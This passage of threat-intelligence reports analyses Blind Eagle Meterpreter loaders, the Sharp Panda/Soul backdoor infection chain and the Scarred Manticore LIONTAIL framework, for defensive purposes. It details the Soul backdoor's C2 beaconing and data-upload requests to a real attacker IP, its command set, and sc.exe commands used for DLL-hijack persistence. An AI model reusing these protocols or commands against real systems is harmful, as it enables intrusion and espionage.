script we obtain two different types of Meterpreter samples. ByAV2.py This code consists of an in-memory loader developed in Python, which will load and run a normal Meterpreter sample in DLL format that uses tcp://systemwin.linkpc[.]net:443 as a C2 server. Python has a built-in PRNG, and in principle no one is stopping you from constructing a stream cipher based on it, which is what the malware authors do here. The embedded DLL is decrypted using this makeshift randint stream cipher with an embedded key (in this construction the key is used as the seed to prime the random library). In the grand tradition of cryptography used inside of malware purely to obfuscate buffers using a hardcoded key, the question of how secure this makeshift cipher is has exactly zero consequences. mp.py The second script basically consists of another sample of Meterpreter this time a version developed entirely in Python and using the same C2 server. We can only speculate on why the server was configured to drop the same payload with the same C2 server but written in a different language; possibly one of the samples acts as a plan B in case of the other sample gets detected by some antivirus solution and removed. CONCLUSION Blind Eagle is a strange bird among APT groups. Judging by its toolset and usual operations, it is clearly more interested in cybercrime and monetary gain than in espionage; however, unlike most such groups that just attack the entire world indiscriminately, Blind Eagle has a very narrow geographical focus, most of the time limited to a single country. This latest campaign targeting Ecuador highlights how, over the last few years, Blind Eagle has matured as a threat refining their tools, adding features to leaked code bases, and experimenting with elaborate infection chains and Living off the Land as seen with the clever abuse of mshta . If what we ve seen is any indication, this group is worth keeping an eye on so that victims aren t blindsided by whatever clever thing they try next. Check Point s anti-phishing solutions for office 365 & G suite analyzes all historical emails in order to determine prior trust relations between the sender and receiver, increasing the likelihood of identifying user impersonation or fraudulent messages. Artificial Intelligence (AI) and Indicators of Compromise (IoCs) used in the past train the Harmony Email & Office platform for what to look for in complex zero-day phishing attacks. IOCs 8e864940a97206705b29e645a2c2402c2192858357205213567838443572f564 2702ea04dcbbbc3341eeffb494b692e15a50fbd264b1d676b56242aae3dd9001 f80eb2fcefb648f5449c618e83c4261f977b18b979aacac2b318a47e99c19f64 68af317ffde8639edf2562481912161cf398f0edba6e06745d90c1359554c76e 61685ea4dc4ca4d01e0513d5e23ee04fc9758d6b189325b34d5b16da254cc9f4 https://www.mediafire[.]com/file/cfnw8rwufptk5jz/migracioncolombiaprocesopendienteid2036521045875referenciawwwmigraciongovco.LHA/file https://gtly[.]to/QvlFV_zgh https://gtly[.]to/cuOv3gNDi https://gtly[.]to/dGBeBqd8z laminascol[.]linkpc[.]net systemwin[.]linkpc[.]net upxsystems[.]com c63d15fe69a76186e4049960337d8c04c6230e4c2d3d3164d3531674f5f74cdf 353406209dea860decac0363d590096e2a8717dd37d6b4d8b0272b02ad82472e a03259900d4b095d7494944c50d24115c99c54f3c930bea08a43a8f0a1da5a2e 46addee80c4c882b8a6903cced9b6c0130ec327ae8a59c5946bb954ccea64a12 c067869ac346d007a17e2e91c1e04ca0f980e8e9c4fd5c7baa0cb0cc2398fe59 10fd1b81c5774c1cc6c00cc06b3ed181b2d78191c58b8e9b54fa302e4990b13d c4ff3fb6a02ca0e51464b1ba161c0a7387b405c78ead528a645d08ad3e696b12 ac1ea54f35fe9107af1aef370e4de4dc504c8523ddaae10d95beae5a3bf67716 GO UP BACK TO ALL POSTS Pandas with a Soul: Chinese Espionage Attacks Against Southeast Asian Government Entities research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities March 7, 2023 Executive summary In 2021, Check Point Research published a report on a previously undisclosed toolset used by Sharp Panda, a long-running Chinese cyberespionage operation targeting Southeast Asian government entities. Since then, we have continued to track the use of these tools across several operations in multiple Southeast Asian countries, in particular nations with similar territorial claims or strategic infrastructure projects such as Vietnam, Thailand, and Indonesia. Key findings: In late 2022, a campaign with an initial infection vector similar to previous Sharp Panda operations targeted a high-profile government entity in the region. While Sharp Panda s previous campaigns delivered a custom and unique backdoor called VictoryDll, the payload in this specific attack is a new version of SoulSearcher loader, which eventually loads the Soul modular framework. Although samples of this framework from 2017-2021 were previously analyzed, this report is the most extensive look yet at the Soul malware family infection chain, including a full technical analysis of the latest version, compiled in late 2022. Although the Soul malware framework was previously seen in an espionage campaign targeting the defense, healthcare, and ICT sectors in Southeast Asia, it was never previously attributed or connected to any known cluster of malicious activity. Although it is currently not clear if the Soul framework is utilized by a single threat actor, based on our research we can attribute the framework to an APT group with Chinese origins. The connection between the tools and TTPs (Tactics, Techniques and Procedures) of Sharp Panda and the previously mentioned attacks in Southeast Asia might serve as yet another example of key characteristics inherent to Chinese-based APT operations, such as sharing custom tools between groups or task specialization, when one entity is responsible for the initial infection and another one performs the actual intelligence gathering. Introduction At the beginning of 2021, Check Point Research identified an ongoing surveillance operation we named Sharp Panda that was targeting Southeast Asian government entities. The attackers used spear-phishing emails to gain initial access to the targeted networks. These emails typically contained a Word document with government-themed lures that leveraged a remote template to download and run a malicious RTF document, weaponized with the infamous RoyalRoad kit. Once inside, the malware starts a chain of in-memory loaders, comprised of a custom DLL downloader we call 5.t Downloader and a second-stage loader responsible for the delivery of a final backdoor. The final payload observed in Sharp Panda campaigns at the time was VictoryDll, a custom and unique malware that enabled remote access and data collection from the infected device. We tracked several earlier versions of the VictoryDll backdoor back to at least 2017, with the whole operation remaining under the radar the entire time. Further tracking of Sharp Panda tools revealed multiple campaigns that targeted entities in Southeast Asian countries, such as Vietnam, Indonesia, and Thailand. During this time, multiple minor changes were implemented in the 5.t Downloader itself, but in general, the initial part of the infection chain (the use of Word documents, RoyalRoad RTF and 5.t Downloader) remained the same. However, in early 2023, when investigating an attack against one of the government entities located in the targeted region, the payload received from the actor s geofenced C&C server was different from the VictoryDll backdoor observed before. Further analysis revealed that this payload is a new version of SoulSearcher loader, which is responsible for downloading, decrypting, and loading in memory other modules of the Soul modular backdoor. 1/10 Figure 1 The infection chain. The use of the Soul malware framework was described by Symantec in relation to the unattributed espionage operation targeting defense, healthcare, and ICT sectors in Southeast Asia in 2020-2021. Following up on that report, Fortinet researchers discovered other samples from 2017-2021 and described the evolution of the framework. Soul was also seen in 2019 in attacks against Vietnamese targets. None of these public reports attributed the Soul framework to any specific country or known actor, although researchers noted the competent adversarial tradecraft which they believed indicated a possibly state-sponsored group. In this report, we provide a detailed technical explanation of several malicious stages used in this infection chain and the latest changes implemented in the Soul framework. We also discuss the challenges in attributing these attacks. Downloader The downloader, which in this specific case was dropped by RoyalRoad RTF to the disk as res6.a , is executed by a scheduled task with rundll32.exe, StartA . Its functionality is consistent with previous research of Sharp Panda activity. Similar to previous Sharp Panda campaigns, the C&C servers of the attackers are geofenced and return payloads only to requests from the IP addresses of the countries where the targets are located. In the latest campaign, the actors implemented some changes in the downloader s communication with the C&C. Previously, the entire C&C communication was based on sending data encrypted using RC4 and encoded with base64, with an exception for the HTTP request for payload which contained the hostname in plain text in the URI: /[**hostname]**.html. However, in the new samples, the payload request is issued to the same PHP path as all the previous requests, with the host specified in its parameter, both MD5-hashed and in clear-text: [host_name]*[host_name_md5] , e.g. MyComputer*d2122d4f4cdf26faa1b2f73bda6030f4 and then encoded: /[php_name].php?Data=[encoded] s noteworthy that while different keys were used, the encoding method using RC4+Base64 remained consistent in all cases. In addition to changes in the URL patterns, the actors refrained from using the distinctive User-Agent Microsoft Internet Explorer and instead used a hardcoded generic one. A few of the samples we observed also communicated through HTTPS, not HTTP. Unlike the previous version where only the API calls were obfuscated, the new version also uses string encryption. However, the encryption is quite simple and consists of loop XORing an encrypted character with the difference of a loop index and a constant value: Figure 2 String decryption routine in the newest version of 5.t Downloader. As in previous versions, the downloader gathers data from the victim s computer including hostname, OS name and version, system type (32/64 bit), username, MAC addresses of the networking adapters, and information on anti-virus solutions. If the threat actors find the victim machine to be a promising target, the response from the server contains the next stage executable in encrypted form and its MD5 checksum. After verifying the integrity of the received message, the downloader loads the decrypted DLL to memory and starts its execution from the StartW export function (the same name as the next stage loader export in previous campaigns that used the downloader). 2/10 SoulSearcher loader SoulSearcher is a second-stage loader, which according to Fortinet research was seen in the wild since at least November 2018 and is responsible for executing the Soul backdoor main module and parsing its configuration. SoulSearcher has multiple variants based on where the configuration and payload are located and on the type of configuration. Among the samples used in the more recent activity cluster we have been researching, the SoulSearcher DLL (sha256: d1a6c383de655f96e53812ee1dec87dd51992c4be28471e44d7dd558585312e0) was slightly different from any previously discovered samples, with the backdoor embedded inside the data section and the embedded configuration in XML format. The malware checks if it runs under a process named svchost.exe , msdtc.exe or spoolsv.exe . If it does, it starts a thread on StartW export and continues loading the backdoor. This might be an indication of the loader being used in different infection chains than we observed in this attack with the rundll32.exe directly starting a chain of in-memory DLL loaders from StartW . The payload loading process starts with obtaining the configuration. While previously seen XML SoulSearchers retrieved this from the registry, a file mapping object, or a file on the disk, the newest version loads the config from a hardcoded Base64 string and stores it in the registry path HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\CONFIGEX . The decoded data blob can be represented with the following struct: struct compressed_data DWORD magic; DWORD unused; BYTE lzma_properties[5]; DWORD size; DWORD compressed_size; BYTE decompressed_data_MD5[33]; BYTE compressed_data_MD5[33]; BYTE compressed_data[]; The loader contains a compressed Soul backdoor DLL in the data section of the loader, while previous samples stored it in the overlay. Next, based on the system architecture, SoulSearcher appends 32 or 64 to the wide string L'ServerBase' , hashes the resulting string with MD5, and creates the registry key with this hash: HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\Assemblies\ [ServerBaseArch_md5] . The value contains the compressed payload. If the registry key is successfully created, the loader reads the compressed payload and proceeds to decrypt and load it in memory. The loading process itself is not different from previously discussed variants of SoulSearcher: it uses the compressed_data structure from the configuration to validate MD5 checksums, LZMA-decompress the compressed module, and reflectively load the Soul main module DLL in memory. After loading the backdoor, Soul Searcher resolves the Construct export of the backdoor and calls it with the arguments [ServerBaseArch_md5] -Startup . Soul Backdoor (main module) The Soul main module is responsible for communicating with the C&C server and its primary purpose is to receive and load in memory additional modules. Interestingly, the backdoor configuration contains a radio silence -like feature, where the actors can specify specific hours in a week when the backdoor is not allowed to communicate with the C&C server. The recovered sample of the backdoor is quite different from the samples that were previously analyzed. The new version of SoulBackdoor was compiled on 29/11/2022 02:12:34 UTC . Based on their timestamps, the earlier samples analyzed by other researchers are mostly from 2017 with the exception of one from 2018, which, similar to our case, was embedded inside the SoulSearcher loader. The backdoor implements a custom C&C protocol, which is entirely different than previously observed versions. Both the old and new versions are based on HTTP communication, but the latest version seems to be more complex and uses various HTTP request methods such as GET , POST , and DELETE . The API endpoints are also different, and the C&C requests contain additional HTTP request headers. In terms of the backdoor functionality, the enumeration data is different from the previous versions and is more extensive. The supported C&C commands, with the newer variant primarily focused on loading additional modules, lack any type of common backdoor functionality like manipulating local files, sending files to the C&C, and executing remote commands. 3/10 Configuration and execution flow The backdoor requires two arguments or the argument before performing its activity. As we mentioned earlier, in our case it is executed by SoulSearcher with [ServerBaseArch_md5] -Startup arguments. Soul backdoor first creates an event using the hardcoded name Global\3GS7JR4S and checks the registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF . It then uses the same configuration (from the registry key HKEY_CURRENT_USER\SOFTWARE\Software\Microsoft\CTF\CONFIGEX ) with the compressed_data struct (as used by SoulSearcher) to extract the payload and decompress its own configuration. The configuration of the main module provides the parameters of C&C communication and other aspects of the backdoor execution. The compression algorithm is LZMA, similar to that found in older variants. After decompression, the config looks like this: http://103.159.132.96/index.php 8.8.8.8|114.114.114.114| 80|443 0 NULL NULL false IKEEXT @%SystemRoot%\system32\ikeext.dll,-501 @%SystemRoot%\system32\ikeext.dll,-502 wlbsctrl.dll NULL 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;1,1,1,1,1,1,1,1,1,1,1,1,1,1 2029-07-11 15:29:32 In its base ( ) settings, the configuration contains the parameter LstPort . In the previous versions, this provided the backdoor the ability to listen on a specified port. In this version, the code that supported this feature was removed, and the backdoor can only actively connect to the C&C server using the URL provided in the parameter on the connect port Cnt In the advanced section ( ) of the configuration, the OlTime parameter contains a list of 168 (24 7) numbers, one per hour in a week. Each hour is represented either by 0 or 1. Zero means a blocked hour, and one represents an allowed hour. This way the operators of the malware can use the configuration to enforce the specific hours the backdoor is allowed to communicate with the C&C server. If the OlTime field is empty in the config, a default setting is for all days and hours to be configured as allowed . This is an advanced OpSec feature that allows the actors to blend their communication flow into general traffic and decrease the chances of network communication being detected. The service ( ) section defines the parameters for the backdoor to be installed as a service: 4/10 IKEEXT @%SystemRoot%\system32\ikeext.dll,-501 @%SystemRoot%\system32\ikeext.dll,-502 wlbsctrl.dll The Symantec publication also mentioned the Soul Searcher running as a service, but in the sample we analyzed, there is no code that implements this feature. Judging by the settings left in the configuration we observed, the actors performed some variation of IKEEXT DLL Hijacking, when on the start of the IKEEXT service, svchost.exe would load the malicious DLL, saved as wlbsctrl.dll . After loading and parsing the configuration the backdoor checks the registry HKEY_CURRENT_USER\SOFTWARE\Software\Microsoft\CTF\Assemblies for the existence of a key with the name of MD5 hash of the wide string L"AutoRun" . If it exists, the backdoor decompresses, loads in memory, and executes the Construct export of the DLL stored in this key. Although we didn t witness the creation or usage of this additional DLL payload, this logic is likely used for auto-updates or executing specific actions prior to the main backdoor activity. After all of these steps are concluded, the backdoor begins the execution of its main thread. C&C communication The main thread begins by validating that it received from the configuration the C&C URL and DNS (or blog URL, which is empty in our case), and that the C&C URL starts with http:// , https:// or ftp:// . In this specific sample, we did not observe any type of FTP communication capabilities. Then, if the current hour is allowed by OlTime configuration, it begins the C&C communication. Bot registration and victim fingerprinting The first request is sent to the specified URL with the ClientHello parameter. The MD5 header is an MD5 hash of the body. As there is no data transferred by this request, the MD5 ( d41d8cd98f00b204e9800998ecf8427e ) is of an empty string. In further analysis of the requests, we omit the common headers (Cache-Control, Connection, User-Agent, MD5 and Host) as their meaning doesn t change between the requests. GET /index.php?ClientHello HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32) MD5: d41d8cd98f00b204e9800998ecf8427e Content-Length: 0 Host: 103.159.132.96 The expected response from the C&C server is ERR! ParamError! In case of a bad or no response, the backdoor attempts to resolve the IP address of the C&C server on its own through the DNS servers in the config. Figure 3 C&C DNS resolution If the response is correct, it saves the C&C IP address in this format: SVR:[IP_field_from_config]:[CntPort] to the registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\SVIF . 5/10 Next, the module performs a full system enumeration and collects the following data: Processor name and the number of processors, total physical memory and total available physical memory, and information about the hard disk such as total space and free space. The OS architecture and various information from the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion registry key such as ProductName, CSDVersion, ProductId, RegisteredOwner, RegisteredOrganization etc. Computer name and information about the current user, such as admin rights retrieved with NetUserGetInfo API. Time zone information from both HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation and HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones registry. Local IP address of the machine, and its public IP address, obtained by issuing a request to one of the public IP resolution services such as https://www.whatismyip.com/ : Figure 4 Victim machine enumeration data string After the system enumeration, the backdoor generates a botUUID , concatenating with two MD5 strings based on various parameters from the enumerated data. It saves the botUUID to the registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\UUID . The resulting botUUID looks like this: 5d41402abc4b2a76b9719d911017c592-7d793037a0760186574b0282f2f435e7 and is used in all the following network requests. New C&C connection After the system enumeration, the backdoor issues a series of requests to register a new connection and perform validation against the C&C server. First, the backdoor notifies the server of a new connection. It is implemented as a DELETE request with the botUUID: DELETE /index.php?[botUUID];[botUUID].txt HTTP/1.1 The accepted response from the C&C: OK! Next, the Connect request is sent, whose body contained Base64 of the string ConnectXXXXXXXX , where XXXXXXXX is the connection timestamp retrieved by GetTickCount() API. POST /index.php?[botUUID]/REQ.dat HTTP/1.1 [Base64-encoded string] The accepted response from the C&C: OK! The following request prepares the server to receive the enumeration data from the victim s machine: GET /index.php?Enum;[botUUID]_[connection_timestamp].txt HTTP/1.1 The accepted response from the C&C is a string that looks like this: ./Updata/[botUUID]_[connection_timestamp].txt . This is most likely the path on the server to store the enumeration data. After this the backdoor sends another network request, possibly for verification: GET /index.php?D;[botUUID]_[connection_timestamp].txt HTTP/1.1 The accepted response is a base64-encoded string that contains the botUUID. At the end of this process, if all the requests are successful, the backdoor is registered at the C&C server and continues sending information about the system. Send enumerated data 6/10 From this point on, the data sent between the backdoor and the C&C server relies on another struct, c2_body : struct c2_body DWORD special_flag; DWORD additional_data; DWORD const_float; BYTE command_id; const_float , where used, is a hardcoded value, 5.2509999. special_flag and additional_data seem to be multipurpose variables that have different meanings in different contexts of the program execution. When sent in the body of both requests and responses, this struct is compressed according to the previously described compressed_data struct from SoulSearcher, and then encoded with Base64. First, the backdoor sends the current timestamp in the request to the following URL (a new timestamp is again retrieved by GetTickCount() API). POST /index.php?CU;[botUUID]_[connection_timestamp].txt;[botUUID]/Data_S_[session_timestamp].dat HTTP/1.1 [base64-encoded and compressed c2_body] In this request, special_flag is 0x00, command_id is 0x01 and additonal_data is the tick count. The accepted response is OK! Otherwise, the backdoor sleeps and starts the connection from the beginning. Next, the backdoor collects the enumeration data again, and compresses it using another struct: struct enum_compressed_data c2_body c2_msg; compressed_data enum_data; The struct is then encoded with Base64 and sent in the body of the following request (the URL and methods are the same): POST /index.php?CU;[botUUID]_[connection_timestamp].txt;[botUUID]/Data_S_[session_timestamp].dat HTTP/1.1 [base64-encoded and compressed enum_compressed_data] The command_id is the same 0x01, special_flag =0, additional_data = 0x4000 + 0x49 = size of enum data. The accepted response is also OK! Main C&C loop After posting the enumeration data, the backdoor enters an infinite loop, contacting the C&C server with the following request to receive the commands: GET /index.php?CDD;[botUUID]_[connection_timestamp].txt;[botUUID]_[connection_timestamp]/Data_C_* HTTP/1.1 If there is no C&C command for the victim, the server responds with ERR! Path not found, WAIT! If there is a command to execute, the C&C returns it in a base64-encoded string which is decompressed with compressed_data and parsed as c2_body . Then the command_id from the struct is translated to the actual command execution. Soul Backdoor Commands The main commands that can be received from the C&C server are control messages for the bot: 7/10 Command ID Action Description 0x04 Execute command Create a thread that handles commands from the second set of commands. 0x0D Client keep-alive Mirror the request from the C&C server. 0x0E Restart C&C session Send DELETE request and restart the communication from client Hello. 0x0F Exit Send DELETE request and exit process forcefully. If in the c2_body the special_flag is set to one, the backdoor starts a continuous loop requesting data from the C&C server. The server should respond with a module name to be loaded from the Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\Assemblies registry key, which is executed from its Construct export. Then the backdoor proceeds to execute the command specified in command_id . If the command_id is 0x04 , the backdoor spawns a new command execution thread that performs a similar network communication flow as the main thread, only without sending the enumeration data. It then begins handling the following commands: Command Action Description Exit thread If the command_flag is on stop, exit the command execution thread. Otherwise do nothing 0x61 Install modules The server sends the number of modules to be written to the registry. Then the bot makes requests to the C&C server, once per module and writes it to a specified registry key. Validate the result by executing command 0x65 afterward. All the registry keys are under Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\Assemblies . 0x62 Delete modules Delete registry keys that are sent by the C&C in a string separated by semi-colons (;). Validate the result by executing command 0x65 afterward. 0x63 Validate modules Validate that modules are currently compatible with the system architecture. The modules are located in the registry, and registry keys names are sent by the C&C separated by a semi-colon. 0x64 Load module Load the specified module and call its export function Construct . The registry key where the module is stored is sent by the C&C server. 0x65 Enumerate modules Create a buffer with all registry keys under Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\Assemblies in the format of %s:%f:; (key name and first 4 bytes of the value), then send the buffer back to the C&C. All the received modules are stored compressed in the registry. The decompression is performed according to another struct: struct stored_module float version_or_id; QWORD decompressed_size; QWORD compressed_size; BYTE md5sum[33]; BYTE compressed_data[]; We didn t witness any follow-up modules, but due to the modular nature of the backdoor, we can expect the actors to use all kinds of datastealing modules, keyloggers, data exfiltration modules and likely also a lateral movement toolset. Attribution As the first stages of the infection chain are identical to the previously described Sharp Panda activity, many of the indicators that allowed us to attribute the threat actors to Chinese-based threat groups are still relevant in relation to the subsequent attack attempts described in this report: The RoyalRoad RTF kit was reported as the tool of choice among Chinese APT groups and is still used despite the exploitation of old patched vulnerabilities. This implies that at least a portion of the attacks using it are successful, and the threat actors are familiar with the cybersecurity practices of their targets. 8/10 Over the past several years, the C&C servers consistently return payloads only between 01:00 08:00 UTC Monday-Friday, which we believe represents the actors working hours. The C&C servers did not return payloads during the period of the Chinese Spring Festival, even during working hours. The victimology of the attacks is consistent with Chinese interests in Southeast Asian countries, particularly those with similar territorial claims or strategic infrastructure projects. In addition, the Soul Backdoor configuration contains 2 hardcoded DNS services, one of which is a Chinese 114DNS Free Public DNS service which is not commonly used outside the region. The campaign discussed in this report involves the malicious artifacts from different clusters of malware activity. As sharing custom tools or operational methods is common among Chinese-based threat actors to facilitate intrusion efforts, it poses a challenge to their attribution. In addition to observing different toolsets from two previously not connected clusters (Sharp Panda and previous attacks using the Soul framework), other areas of overlap between publicly tracked Chinese APT groups and this campaign include the following: Infrastructure: One of the IP addresses used by Sharp Panda s initial infection in late 2021 overlaps with the IP reportedly used by TAG16 in the same timeframe. In the relevant report, the Insikt Group researchers provided evidence suggesting that TAG-16 shares custom capabilities with the People s Liberation Army (PLA)-linked activity group RedFoxtrot. The Southeast Asian government entity attacked in the described campaign was also targeted by a tool attributed to a Chinese-linked APT group during the same time period. However, there is currently no clear evidence to tie the tool to this campaign with high confidence. Symantec researchers also discovered the APT30 toolset in the network of one of the organizations attacked with the Soul framework in the same timeframe, with no distinctive connection as well. The vague links of all the aforementioned groups to Chinese intelligence Services, the nature of the targets, and the capabilities of the toolset used lead us to the conclusion that the described activity is an espionage operation likely executed by well-resourced and possibly nation-state threat actors. Conclusion In this report, we analyzed the TTPs and the tools used in the espionage campaign against Southeast Asian government entities. The initial infection stages of this campaign use TTPs and tools consistent with Sharp Panda activity first discovered in 2021. We continue to track Sharp Panda as a separate unknown cluster, and based on our current insight into this threat, we cannot confirm with high confidence their relation to other Chinese threat actors. The later stages of the infection chain in the described campaign are based on Soul, a previously unattributed modular malware framework. While the Soul framework has been in use since at least 2017, the threat actors behind it have been constantly updating and refining its architecture and capabilities. Based on the technical findings presented in our research, we believe this campaign is staged by advanced Chinese-backed threat actors, whose other tools, capabilities, and position within the broader network of espionage activities are yet to be explored. IOCs C&C servers 45.76.190[.]210 45.197.132[.]68 45.197.133[.]23 103.78.242[.]11 103.159.132[.]96 103.173.154[.]168 103.213.247[.]48 139.180.137[.]73 139.180.138[.]49 152.32.243[.]17 office.oiqezet[.]com Hashes Phishing documents 32a0f6276fea9fe5ee2ffda461494a24a5b1f163a300bc8edd3b33c9c6cc2d17 ca7f297dc04acad2fab04d5dc2de9475aed4186805f6c237c10b8f56b384cf30 341dee709285286bc5ba94d14d1bce8a6416cb93a054bd183b501552a17ef314 9d628750295f5cde72f16da02c430b5476f6f47360d008911891fdb5b14a1a01 811a020b0f0bb31494f7fbe21893594cd44d90f77fcd1f257925c4ac5fabed43 b023e2b398d552aacb2233a6e08b4734c205ab6abf5382ec31e6d5aa7c71c1cb 9/10 External template (RoyalRoad RTF) 81d9e75d279a953789cbbe9ae62ce0ed625b61d123fef8ffe49323a04fecdb3f 12c1a4c6406ff378e8673a20784c21fb997180cd333f4ef96ed4873530baa8d3 f2779c63373e33fdbd001f336df36b01b0360cd6787c1cd29a6524cc7bcf1ffb 7a7e519f82af8091b9ddd14e765357e8900522d422606aefda949270b9bf1a04 4747e6a62fee668593ceebf62f441032f7999e00a0dfd758ea5105c1feb72225 3541f3d15698711d022541fb222a157196b5c21be4f01c5645c6a161813e85eb 5.t Downloader 0f9f85d41da21781933e33dddcc5f516c5ec07cc5b4cff53ba388467bc6ac3fd 17f4a21e0e8c0ce958baf34e45a8b9481819b9b739f3e48c6ba9a6633cf85b0e f8622a502209c18055a308022629432d82f823dd449abd9b17c61e363a890828 1a15a35065ec7c2217ca6a4354877e6a1de610861311174984232ba5ff749114 065d399f6e84560e9c82831f9f2a2a43a7d853a27e922cc81d3bc5fcd1adfc56 1e18314390302cd7181b710a03a456de821ad85334acfb55f535d311dd6b3d65 c4500ad141c595d83f8dba52fa7a1456959fb0bc2ee6b0d0f687336f51e1c14e 390e6820b2cc173cfd07bcebd67197c595f4705cda7489f4bc44c933ddcf8de6 SoulSearcher d1a6c383de655f96e53812ee1dec87dd51992c4be28471e44d7dd558585312e0 Soul Backdoor df5fe7ec6ecca27d3affc901cb06b27dc63de9ea8c97b87bc899a79eca951d60 GO UP BACK TO ALL POSTS 10/10 From Albania to the Middle East: The Scarred Manticore is Listening research.checkpoint.com/2023/from-albania-to-the-middle-east-the-scarred-manticore-is-listening October 31, 2023 Key Findings Check Point Research (CPR) is monitoring an ongoing Iranian espionage campaign by Scarred Manticore, an actor affiliated with the Ministry of Intelligence and Security (MOIS). The attacks rely on LIONTAIL, an advanced passive malware framework installed on Windows servers. For stealth purposes, LIONTIAL implants utilize direct calls to Windows HTTP stack driver HTTP.sys to load memory-residents payloads. As part of mutual efforts with Sygnia s Incident Response team, multiple forensics tools and techniques were leveraged to uncover additional stages of the intrusions and the LIONTAIL framework. The current campaign peaked in mid-2023, going under the radar for at least a year. The campaign targets high-profile organizations in the Middle East with a focus on government, military, and telecommunications sectors, in addition to IT service providers, financial organizations and NGOs. Scarred Manticore has been pursuing high-value targets for years, utilizing a variety of IIS-based backdoors to attack Windows servers. These include a variety of custom web shells, custom DLL backdoors, and driver-based implants. While the main motivation behind Scarred Manticore s operation is espionage, some of the tools described in this report have been associated with the MOIS-sponsored destructive attack against Albanian government infrastructure (referred to as DEV0861). Introduction Check Point Research, in collaboration with Sygnia s Incident Response Team, has been tracking and responding to the activities of Scarred Manticore, an Iranian nation-state threat actor that primarily targets government and telecommunication sectors in the Middle East. Scarred Manticore, linked to the prolific Iranian actor OilRig (a.k.a APT34, EUROPIUM, Hazel Sandstorm), has persistently pursued high-profile organizations, leveraging access to systematically exfiltrate data using tailor-made tools. In the latest campaign, the threat actor leveraged the LIONTAIL framework, a sophisticated set of custom loaders and memory resident shellcode payloads. LIONSTAIL s implants utilize undocumented functionalities of the HTTP.sys driver to extract payloads from incoming HTTP 1/31 traffic. Multiple observed variants of LIONTAIL-associated malware suggest Scarred Manticore generates a tailor-made implant for each compromised server, allowing the malicious activities to blend into and be undiscernible from legitimate network traffic. We currently track this activity as Scarred Manticore, an Iranian threat actor that is most closely aligned with DEV-0861. Although the LIONTAIL framework itself appears to be unique and bears no clear code overlaps with any known malware family, other tools used in those attacks overlap with previously reported activities. Most notably, some of those were eventually linked back to historic OilRig or OilRig-affiliated clusters. However, we do not have sufficient data to properly attribute the Scarred Manticore to OilRig, even though we do believe they re likely related. The evolution in the tools and capabilities of Scarred Manticore demonstrates the progress the Iranian actors have undergone over the last few years. The techniques utilized in recent Scarred Manticore operations are notably more sophisticated compared to previous activities CPR has tied to Iran. In this article, we provide a technical analysis of the latest tools and the evolution of Scarred Manticore s activity over time. This report details our understanding of Scarred Manticore, most notably its novel malware framework LIONTAIL, but also provides an overview of other toolsets we believe are used by the same actor, some of which were publicly exposed in the past. This includes, but is not limited to, tools used in the intrusion into the Albanian government infrastructure, web shells observed in high-profile attacks in the Middle East, and recently reported WINTAPIX driver-based implants. While we finalized this blog post, a technical analysis of part of this activity was published by fellow researchers from Cisco Talos. While it overlaps with our findings to some extent, our report provides additional extended information, in-depth insights, and a broader retrospective regarding the threat actor behind this operation. LIONTAIL Framework LIONTAIL is a malware framework that includes a set of custom shellcode loaders and memory resident shellcode payloads. One of its components is the LIONTAIL backdoor, written in C. It is a lightweight but rather sophisticated passive backdoor installed on Windows servers that enables attackers to execute commands remotely through HTTP requests. The backdoor sets up listeners for the list of URLs provided in its configuration and executes payloads from requests sent by attackers to those URLs. The LIONTAIL backdoor components are the main implants utilized in the latest Scarred Manticore intrusions. Utilizing access from a publicly facing server, the threat actor chains a set of passive implants to access internal resources. The internal instances of the LIONTAIL 2/31 backdoors we ve seen so far either listen on HTTP(s), similar to the internet-facing instances, or in some cases use named pipes to facilitate remote code execution. Figure 1 Overview of the LIONTAIL malware framework. LIONTAIL Loaders Installation We observed 2 methods of backdoor installation on the compromised Windows servers: standalone executables, and DLLs loaded through search order hijacking by Windows services or legitimate processes. When installed as a DLL, the malware exploits the absence of some DLLs on Windows Server OS distributions: the backdoor is dropped to the system folder C:\windows\system32 as wlanapi.dll or wlbsctrl.dll. By default, neither of these exist on Windows Server installations. Depending on the Windows Server version, the malicious DLL is then loaded either directly by other processes, such as Explorer.exe, or the threat actors enable specific services, disabled by default, that require those DLLs. In the case of wlbsctrl.dll, the DLL is loaded at the start of the IKE and AuthIP IPsec Keying Modules service. For wlanapi.dll, the actors enable Extensible Authentication Protocol: sc.exe config Eaphost start=auto sc.exe start Eaphost In instances where LIONTAIL is deployed as an executable, a noteworthy characteristic observed in some is the attempt to disguise the executable as Cyvera Console, a component of Cortex XDR. 3/31 Configuration The malware starts by performing a one-byte XOR decryption of a structure containing the malware configuration, which is represented with the following structure: QWORD var_0 QWORD var_8 QWORD magic_number DWORD num_of_end_string DWORD num_of_listen_urls STRING end_string STRING[] listen_urls The field listen_urls defines particular URL prefixes to which the malware listens for incoming requests. All of the samples URL lists include the http://+:80/Temporary_Listen_Addresses/ URL prefix, a default WCF URL reservation that allows any user to receive messages from this URL. Other samples include multiple URLs on ports 80, 443, and 444 (on Exchange servers) mimicking existing services, such as: https://+:443/autodiscover/autodiscovers/ https://+:443/ews/exchanges/ https://+:444/ews/ews/ Many LIONTAIL samples contain tailor-made configurations, which add multiple other custom URLs that match existing web folders on the compromised server. As the URLs for the existing folders are already taken by the actual IIS service, the generated payloads contain additional random dictionary words in the path. These ensure the malware communication blends into legitimate traffic, helping to make it more inconspicuous. The host element of all prefixes in the configuration consists of a single plus 